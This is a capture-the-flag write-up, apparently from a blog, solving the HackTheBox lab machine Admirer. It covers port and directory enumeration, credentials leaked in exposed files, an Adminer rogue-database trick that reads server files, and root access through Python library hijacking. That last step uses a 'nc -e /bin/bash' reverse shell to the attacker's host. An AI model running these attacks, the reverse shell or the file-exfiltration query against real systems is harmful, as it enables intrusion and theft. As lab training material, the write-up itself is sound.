Summary
Admirer is a Linux machine, ranked as Easy at HackTheBox. In my opinion is near to a Medium machine, since there are some rabbit holes, and the foothold is not really obvious (if you don’t find the Adminer vulnerability). Today I will show you how to solve this interesting machine.
Ports and services enumeration
We will start enumerating ports and services on Admirer using masscan and nmap.
root@PwnedC0ffee:~# masscan -p1-65535,U:1-65535 10.10.10.187 --rate=1000 -e tun0
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-09-23 09:11:50 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
rate: 0.00-kpps, 0.00% done, 0:00:00 remaining, found=0
Discovered open port 22/tcp on 10.10.10.187
Discovered open port 21/tcp on 10.10.10.187
Discovered open port 80/tcp on 10.10.10.187
root@PwnedC0ffee:~# nmap -sV -sC -p 21,22,80 10.10.10.187
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-23 05:19 EDT
Nmap scan report for 10.10.10.187
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Masscan shows there are 3 opened ports. We will start with the Apache HTTP server on port 80. The nmap report shows that /robots.txt contains a reference to /admin_dir. However, this directory is protected.
Web enumeration
The main webpage does not contain anything interesting.
And gobuster isn’t too useful, though.
root@PwnedC0ffee:~# gobuster dir -u http://10.10.10.187/ -w /usr/share/wordlists/dirb/big.txt -x php,txt,html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.187/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
2020/09/23 05:28:50 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.html (Status: 403)
/.htaccess (Status: 403)
/.htaccess.html (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.txt (Status: 403)
/assets (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/robots.txt (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
===============================================================
2020/09/23 05:34:25 Finished
===============================================================
However, if we run gobuster over the /admin-dir/ directory…
root@PwnedC0ffee:~# gobuster dir -u http://10.10.10.187/admin-dir/ -w /usr/share/wordlists/dirb/big.txt -x php,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.187/admin-dir/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
2020/09/23 05:33:26 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.txt (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.txt (Status: 403)
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)
===============================================================
2020/09/23 05:37:41 Finished
===============================================================
TA-DA!! We found /admin-dir/credentials.txt, which contains the following entries:
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
FTP Server
Once we log into the FTP server, we will see two files:
root@PwnedC0ffee:~# ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:root): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz
226 Directory send OK.
We can use the GET command to retrieve both files and analyze them.
In the dump.sql we will find information about the database that’s being used. It’s running MariaDB backend, and the database name is admirerdb and it’s running on localhost. We can also see that the database contains the image and information from the main page. For the moment, this is not really interesting. Let’s move to the html.tar.gz file.
Who’s W4ld0?
Once we extract the file from html.tar.gz, we will see what looks like a webpage server backup. The robots.txt file contains another entry:
root@PwnedC0ffee:~/Desktop/hackthebox/admirer/foothold/found-web# cat robots.txt
User-agent: *
# This folder contains personal stuff, so no one (not even robots!) should see it - waldo
Disallow: /w4ld0s_s3cr3t_d1r
Hmm… Who’s W4ld0? What’s inside /w4ld0s_s3cr3t_d1r?
root@PwnedC0ffee:~/Desktop/hackthebox/admirer/foothold/found-web/w4ld0s_s3cr3t_d1r# ls
contacts.txt credentials.txt
There are two files inside /w4ld0s_s3cr3t_d1r.
root@PwnedC0ffee:~/Desktop/hackthebox/admirer/foothold/found-web/w4ld0s_s3cr3t_d1r# cat contacts.txt
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb
##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb
# Amy
Email: a.bialik@admirer.htb
# Leonard
Email: l.galecki@admirer.htb
#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb
# Bernadette
Email: b.rauch@admirer.htb
root@PwnedC0ffee:~/Desktop/hackthebox/admirer/foothold/found-web/w4ld0s_s3cr3t_d1r# cat credentials.txt
[Bank Account]
waldo.11
Ezy]m27}OREc$
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
We found several contacts and their emails and roles. Penny seems to be the administrator. We have also found Waldo’s bank account credentials! What should we do with such information?
Although WordPress is mentioned, we have not found a WordPress website. CMSmap does not detect WordPress footprints on the server, so let’s save this credentials for later.
If we go now to /utility-scripts/ we’ll find several PHP files. The db_admin.php file contains database connection data, including credentials:
root@PwnedC0ffee:~/Desktop/hackthebox/admirer/foothold/found-web/utility-scripts# cat db_admin.php
<?php
$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";
// Create connection
$conn = new mysqli($servername, $username, $password);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully";
// TODO: Finish implementing this or find a better open source alternative
?>
The admin_tasks.php file runs a .sh script on the machine. It includes interesting options, like backup passwd and shadow files. If we go to http://10.10.10.187/utility-scripts/ we’ll see that the admin_tasks.php, info.php and phptest.php files are currently working. However, db_admin.php is not there. If we play around with admin_tasks.php, we’ll see that we won’t be able to execute the backup options.
Let’s run gobuster over the new directory:
root@PwnedC0ffee:~/Desktop/hackthebox/admirer/foothold/found-web# gobuster dir -u http://10.10.10.187/utility-scripts/ -w /usr/share/wordlists/dirb/big.txt -x php,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.187/utility-scripts/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
2020/09/23 06:10:28 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.txt (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.txt (Status: 403)
/adminer.php (Status: 200)
/info.php (Status: 200)
/phptest.php (Status: 200)
===============================================================
2020/09/23 06:14:41 Finished
===============================================================
Hmm… It looks like they have replaced db_admin.php for adminer.php, which is a database manager. If we visit http://10.10.10.187/utility-scripts/adminer.php, a login form will appear. Time to test our credentials!
Adminer.php
Sadly, none of the credentials worked. At this time I started Googling around, until I found an Adminer vulnerability which would allow an attacker to retrieve sensitive files from the server.
If you starts a MySQL server on your machine, accessible from outside your own machine, you can connect to it using Admirer’s Adminer. This way, you can dump Admirer’s files into your database. Let’s see how it works.
First of all, you need to setup a MariaDB server and make it accessible from outside. After that, you will need to create a database and a table to store the stolen files.
root@PwnedC0ffee:~# mysql -u root
(...)
MariaDB [(none)]> create database attacker;
Query OK, 1 row affected (0.000 sec)
MariaDB [(none)]> use attacker;
Database changed
MariaDB [attacker]> create table leak(content varchar(5000));
Query OK, 0 rows affected (0.045 sec)
MariaDB [attacker]> grant all privileges on attacker.* to 'pwned'@'%' identified by '****';
Query OK, 0 rows affected (0.001 sec)
Now we can connect to our database.
Once you are logged in, go to SQL command on the left side, and execute the query:
load data local infile '../index.php'
into table leak
fields terminated by "\n"
Next, go to select leak and you will see the index.php file.
So now we have some real credentials!
waldo : &<h5b~yK3F#{PaPB&dA}{H>
User Shell
I spent some time playing around the Adminer console, trying to upload a webshell. I felt like an idiot when I tried to SSH using the new password and it worked.
root@PwnedC0ffee:/etc/mysql# ssh waldo@10.10.10.187
waldo@10.10.10.187's password:
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$ whoami
waldo
We can now read user.txt and get the first flag!
Privilege Escalation
The first thing I thought about when I got inside the machine, was the admin_tasks script we found earlier, which said something about running commands as sudo from a PHP script.
Actually, if we run sudo -l we’ll see that waldo can run the script as any user.
waldo@admirer:~$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
listpw=always
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
If we take a look at admin_tasks.sh we’ll see that it calls a Python script called backup.py:
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
This backup.py seems to make a tar.gz file from the content of /var/www/html/:
waldo@admirer:~$ cat /opt/scripts/backup.py
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
However, we can see that it imports shutil.make_archive. Would it be possible to hijack this Python library?
If we create a file called shutil.py with a make_archive() function, and somehow we trick Python to think this is the original shutil file, we will be able to run code with root privileges.
The easiest way is to create the shutil.py in /opt/scripts/, since the first place where Python will looks is backup.py’s directory. However, we cannot create files there.
But Googling around I discovered that we can include an environment variable called PYTHONPATH, which you can set to add additional directories where Python will look for modules and packages.
So we create our malicious shutil.py at waldo’s home directory (~):
import os
def make_archive(a, b, c):
os.system('nc -e /bin/bash 10.10.14.9 1337')
Now we start our nc listener and run the web backup task from admin_tasks as root, specifying the PYTHONPATH variable.
waldo@admirer:~$ sudo PYTHONPATH=$(pwd) -u root /opt/scripts/admin_tasks.sh
[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
The backup.py script will import the malicious shutil library, and will launch a nc process, connecting to our listener.
root@PwnedC0ffee:~# nc -nlvp 1337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.187.
Ncat: Connection from 10.10.10.187:46834.
whoami
root
Et voilà! Now you can read root.txt and get your flag!
I hope you enjoyed this machine. It took me some time to solve the Privilege Escalation, since I spent a lot of time trying to hijack binaries, instead of Python libraries. However, it is really easy once you see the import in the script.